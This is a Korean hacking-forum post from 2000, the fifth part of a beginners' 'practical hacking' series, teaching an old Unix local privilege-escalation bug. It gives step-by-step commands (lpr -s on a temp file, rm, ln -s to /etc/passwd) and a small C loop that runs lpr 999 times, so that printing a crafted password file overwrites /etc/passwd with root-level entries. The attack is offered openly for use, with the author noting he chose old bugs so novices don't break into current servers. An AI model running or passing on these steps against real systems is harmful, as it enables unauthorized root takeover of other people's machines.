Hacking 관련 게시판

2000/08/06(21:06) from 203.255.160.61
작성자 : 강줄기 (jkkang65@hanmail.net)	조회수 : 3295 , 줄수 : 77

[강좌]실전해킹[5회분]-퍼옴

해킹강좌 제 5회~ 제가 아주아주 바쁜나머지(학교 다니잖아여~~^^) 강좌가 늦었네여~ 않계시겠지만 만에하나 기다리신분께 죄송합니다~ 그럼 오늘부터는 버그들을 하나하나 (죄송합니다만 옛날것을 다루기로 결정했 습니다, 요즘껏 강의하다가 초보분들이 이서버 저서버 다 뚫으시면 골란하잖아 여~^^)다루어 보도록 하겠습니다. 아! 이런식으로 버그를 써먹는거구나 하고 응용력이 생기실껍니다~ 강좌 들어가기 전에여~ 이런내용은 다른데두 있는데~ 하시지 마세용~ 어짜피 옛날꺼부터 차례차례 들어갈려면여~ 중복될수밖에 없잖아여 ^^; 그럼 강좌 들 어갑니다~ lpr 은 프린터 명령어입니다~ 거의 모든 유닉스 시스템에서 사용하고 있죠. 그런데 lpr 에는 -s 라는 옵션이 있습니다~ 바로 파일이 너무 클때 심볼릭 링 크를 겁니다~ 파일이 너무 크면 spool이 가득차기 때문이죠. 스플영역/usr/spool/lpd~~ 그리고 1000번 마다 같은 파일이름을 씁니다. 방법은~ 임의의 파일을 하나 만듭니다. 전 /tmp/garura라는 파일로 하죵 p 그다음 lpr -s -q /tmp/garura 이렇게 하면 심볼릭 링크가 되겠죵 그다음에 /tmp/garura 를 지웁시다. rm -f /tmp/garura 하신다음에여 가루라라는 이름으로 etc/passwd에 링크를 겁시다. ln -s /etc/passwd /tmp/garura 이렇게 하면 링크가 걸리겠죠 그다음 lpr 을 999번 실행시킵니다~ c언어로 만드시면 금방 하시겠죠? 예를 들어서 main() { int i; for(i=1;i<=999;i++) {system ("lpr");} } 대충 이런식으로 하죠~ 흐~ 정말 문법상 틀린 소스네여~ 하지만 참고하시구요 그다음 임의로 패스워드 파일을 만들죠~ tpasswd 라고 만드신 후에여 lpr tpasswd 라고 하시면 어떻게 될까여 오~생각해보시구 다음줄을 봐주세요 임의로 만든 tpasswd파일은 dfa714ie(스풀영역이겠죠? 이건 garura파일이 어디에 링크됐나 보면 되겠죠?) 라는 파일이라고 치구요~ 여기에 복사가 될껍니다~ 그런데 링크가 되있군요가루라파일에 복사가 될려고하지만 etc/passwd파일에 링크가 되있군요~ 그래서 etc/passwd에 루트권한의 명령어를 써넣을수 있는것 입니다. 이해가 되셨나여? 전 최대한 쉽게 성명했는데~ 그럼 다음을 기대하세요~

Powered by Kang Jul Ki